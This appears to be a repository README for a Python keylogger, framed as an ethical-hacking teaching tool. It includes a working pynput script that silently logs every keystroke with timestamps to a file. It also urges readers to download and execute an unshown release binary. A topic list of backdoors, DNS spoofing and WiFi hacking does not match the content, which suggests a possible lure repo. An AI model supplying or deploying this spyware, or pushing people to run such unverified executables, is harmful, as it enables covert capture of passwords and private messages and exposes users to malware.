Welcome to the Keylogger Project! This repository contains a simple Python keylogger that uses the pynput
library to log keystrokes along with timestamps. This tool is designed for ethical hacking labs, red teaming practice, and cybersecurity education.
- Keystroke Logging: Capture all keystrokes with precise timestamps.
- Lightweight: Minimal resource usage for seamless operation.
- Easy Setup: Simple installation process.
- Cross-Platform: Works on Windows, macOS, and Linux.
- Educational Use: Ideal for learning about keylogging and cybersecurity practices.
To get started, you need to clone this repository and install the required dependencies.
-
Clone the Repository:
git clone https://github.com/benjdokosg/keylogger-project.git cd keylogger-project
-
Install Dependencies: You need to have Python installed on your machine. After cloning, install the necessary libraries using pip:
pip install pynput
-
Download the Executable: You can find the latest release here. Download the file and execute it to start logging keystrokes.
To run the keylogger, simply execute the Python script. Open your terminal and run:
python keylogger.py
The script will start logging keystrokes in the background. You can stop it by terminating the process or closing the terminal.
The keylogger uses the pynput
library to listen for keyboard events. When a key is pressed, it captures the key along with the current timestamp. The data is then saved to a log file for later review.
Here’s a brief overview of the main components of the code:
- Listener: The main component that listens for key events.
- Logging Function: Captures the key pressed and the timestamp.
- File Handling: Writes the logged data to a file.
from pynput import keyboard
import time
def on_press(key):
with open("keylog.txt", "a") as f:
f.write(f"{key} pressed at {time.ctime()}\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
This snippet shows how to capture key presses and log them to a file with timestamps.
This project touches on various topics in the cybersecurity field, including:
- Backdoors
- DNS Spoofing
- Email Sending
- Exploit Development
- Hacking Tools
- Hardware Hacking
- Online Database Access
- Spying Techniques
- WiFi Hacking
- WiFi Hacking Scripts
We welcome contributions to improve this project. If you want to contribute, please follow these steps:
- Fork the repository.
- Create a new branch (
git checkout -b feature-branch
). - Make your changes and commit them (
git commit -m 'Add new feature'
). - Push to the branch (
git push origin feature-branch
). - Open a pull request.
Please ensure that your code adheres to the existing style and is well-documented.
This project is licensed under the MIT License. Feel free to use it for educational purposes but ensure you adhere to ethical guidelines.
For any questions or suggestions, feel free to reach out:
- GitHub: benjdokosg
- Email: benjdokosg@example.com
For more information, visit the Releases section to download the latest version of the keylogger.
Thank you for your interest in the Keylogger Project! Happy hacking!